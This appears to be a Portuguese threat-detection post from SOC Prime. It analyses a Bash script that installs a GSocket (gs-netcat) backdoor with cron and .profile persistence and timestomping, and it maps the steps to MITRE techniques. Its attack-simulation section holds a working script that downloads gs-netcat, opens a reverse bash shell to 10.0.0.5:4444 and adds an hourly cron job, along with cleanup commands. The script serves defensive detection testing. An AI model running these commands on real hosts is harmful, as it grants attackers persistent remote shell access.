SOC Prime Bias: Médio

24 Mar 2026 14:37

Backdoor GSocket Entregue por Script Bash

Author Photo
Ruslan Mikhalov Chefe de Pesquisa de Ameaças na SOC Prime linkedin icon Seguir
Backdoor GSocket Entregue por Script Bash
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

Um script Bash armado baixa e lança um cliente GSocket (gs-netcat) para estabelecer uma porta dos fundos em hosts Linux e macOS. Ele mantém a persistência por meio de cron jobs e alterações em .profile, enquanto salva um segredo compartilhado dentro de um arquivo de chave SSH falso. Para reduzir a visibilidade forense, o script utiliza métodos anti-forenses que alteram timestamps e ocultam evidências de modificação de arquivos. A porta dos fundos resultante comunica-se externamente através da rede de retransmissão GSocket para um IP remoto.

Investigação

O pesquisador detonou o script em um ambiente isolado e confirmou a recuperação do gs-netcat binário, criação de uma entrada de persistência baseada em cron e adulteração com arquivos de inicialização do usuário. Um arquivo ELF falso chamado id_rsa é solto no diretório .ssh , com o segredo compartilhado embutido no que parece ser uma chave SSH. Rotinas de redefinição de timestamp também foram identificadas, mostrando esforços deliberados para borrar cronogramas forenses. O script suporta múltiplos sistemas do tipo Unix ao detectar inicialmente o sistema operacional do host.

Mitigação

Os defensores devem bloquear o tráfego de saída para domínios e endereços IP de retransmissão conhecidos do GSocket e ficar atentos a entradas de cron não autorizadas ou mudanças suspeitas em .profile and .ssh caminhos. A lógica de detecção baseada em host deve sinalizar o uso do gs-netcat nome de arquivo, bem como comandos comumente usados para manipular timestamps. Controles de menor privilégio e monitoramento de integridade em arquivos de inicialização podem limitar ainda mais a capacidade da porta dos fundos de persistir despercebida.

Resposta

Se estes indicadores aparecerem, isole o host, adquira o script malicioso e os binários soltos, e inicie uma revisão forense completa. Remova o mecanismo de persistência de cron e todos os artefatos maliciosos, rotacione as chaves SSH afetadas e invalide quaisquer segredos compartilhados. Estenda a busca em todo o ambiente para encontrar indicadores correspondentes e atualize o conteúdo de detecção para capturar atividades semelhantes.

"graph TB %% Class definitions classDef technique fill:#c2e0ff classDef tool fill:#ffd9b3 classDef operator fill:#ffcc99 %% Technique nodes tech_initial_user_execution["<b>Técnica</b> – <b>T1204.004 Execução do Usuário</b>: Script Bash malicioso executado por um usuário."] class tech_initial_user_execution technique tech_persistence_cron["<b>Técnica</b> – <b>T1053.003 Tarefa Agendada Job Cron</b>: Job de cron horário mata e reinicia um binário gsu2011netcat disfarçado."] class tech_persistence_cron technique tech_boot_init["<b>Técnica</b> – <b>T1037 Scripts de Inicialização de Logon</b>: Injeção de comandos maliciosos no .profile do usuário para persistência."] class tech_boot_init technique tech_compromise_binary["<b>Técnica</b> – <b>T1554 Comprometimento do Binário de Software do Host</b>: gsu2011netcat copiado para ~/.ssh/putty e disfarçado como id_rsa."] class tech_compromise_binary technique tech_private_keys["<b>Técnica</b> – <b>T1552.004 Credenciais Inseguras Chaves Privadas</b>: Segredo compartilhado armazenado dentro de uma chave privada SSH falsa."] class tech_private_keys technique tech_timestomp["<b>Técnica</b> – <b>T1070.006 Timestomp</b>: Rastreamento e restauração de timestamp personalizada para ocultar modificações de arquivos."] class tech_timestomp technique tech_time_evasion["<b>Técnica</b> – <b>T1497.003 Evasão Sandbox de Virtualização Baseada em Tempo</b>: Manipulação de timestamp para evadir ambientes de análise."] class tech_time_evasion technique tech_protocol_tunneling["<b>Técnica</b> – <b>T1572 Tunelamento de Protocolo</b>: Tráfego de rede tunelado através de uma rede de retransmissão GSocket."] class tech_protocol_tunneling technique tech_proxy_multi["<b>Técnica</b> – <b>T1090 Proxy Multiu2011hop</b>: Tráfego encaminhado pelo CDN GSocket para proxy interno e externo."] class tech_proxy_multi technique tech_ssh_lateral["<b>Técnica</b> – <b>T1021.004 Serviços Remotos SSH</b> / <b>T1563.001 Seqüestro de SSH</b>: gsu2011netcat executado como uma chave SSH disfarçada para movimento lateral."] class tech_ssh_lateral technique %% Tool nodes tool_gsnetcat["<b>Ferramenta</b> – <b>Nome</b>: gsu2011netcat<br/><b>Descrição</b>: Variante do Netcat usada para comando e controle oculto."] class tool_gsnetcat tool tool_gsocket["<b>Ferramenta</b> – <b>Nome</b>: CDN GSocket<br/><b>Descrição</b>: Rede de retransmissão que fornece serviços de tunelamento e proxy."] class tool_gsocket tool %% Attack flow connections tech_initial_user_execution –>|habilita| tech_persistence_cron tech_persistence_cron –>|habilita| tech_boot_init tech_boot_init –>|habilita| tech_compromise_binary tech_compromise_binary –>|usa| tool_gsnetcat tech_compromise_binary –>|habilita| tech_private_keys tech_private_keys –>|suporta| tech_timestomp tech_timestomp –>|suporta| tech_time_evasion tech_time_evasion –>|habilita| tech_protocol_tunneling tech_protocol_tunneling –>|usa| tool_gsocket tool_gsocket –>|facilita| tech_proxy_multi tech_proxy_multi –>|habilita| tech_ssh_lateral tech_ssh_lateral –>|usa| tool_gsnetcat "

Fluxo de Ataque

Execução de Simulação

Pré-requisito: O Check de Pré-vôo de Telemetria & Linhas de Base deve ter sido aprovado.

  • Narrativa do Ataque & Comandos:
    Um atacante com privilégios limitados obtém o gs-netcat binário de um repositório público, coloca-o em /usr/local/bine o lança para abrir um shell reverso na porta 4444. Para manter o acesso, o atacante cria um cron job que reinicia o backdoor a cada hora. Os passos são executados de um shell comprometido no host alvo.

  • Script de Teste de Regressão:

    #!/usr/bin/env bash
    set -euo pipefail
    
    # 1. Baixar gs-netcat (simulado com um pequeno binário substituto)
    echo "[*] Baixando substituto gs-netcat ..."
    curl -s -o /usr/local/bin/gs-netcat https://raw.githubusercontent.com/maaaaz/gs-netcat/master/gs-netcat_linux_amd64
    chmod +x /usr/local/bin/gs-netcat
    
    # 2. Iniciar gs-netcat em segundo plano (shell reverso para IP do atacante 10.0.0.5)
    echo "[*] Iniciando shell reverso gs-netcat ..."
    /usr/local/bin/gs-netcat -d 10.0.0.5 -p 4444 -e /bin/bash &
    GSN_PID=$!
    
    # 3. Verificar se o processo está em execução
    sleep 2
    ps -p "$GSN_PID" -o pid,cmd
    
    # 4. Criar um cron job que reinicia o gs-netcat no início de cada hora
    echo "[*] Adicionando persistência via cron ..."
    (crontab -l 2>/dev/null; echo "0 * * * * /usr/local/bin/gs-netcat -d 10.0.0.5 -p 4444 -e /bin/bash >/dev/null 2>&1") | crontab -
    
    echo "[+] Simulação completa. Aguardando detecção."
  • Comandos de Limpeza:

    #!/usr/bin/env bash
    set -euo pipefail
    
    # Remover a entrada de cron adicionada acima
    echo "[*] Removendo job cron malicioso ..."
    crontab -l | grep -v "/usr/local/bin/gs-netcat -d 10.0.0.5 -p 4444 -e /bin/bash" | crontab -
    
    # Matar qualquer processo gs-netcat em execução
    echo "[*] Matando processos gs-netcat ..."
    pkill -f "/usr/local/bin/gs-netcat" || true
    
    # Deletar o binário
    echo "[*] Deletando binário gs-netcat ..."
    rm -f /usr/local/bin/gs-netcat
    
    echo "[+] Limpeza finalizada."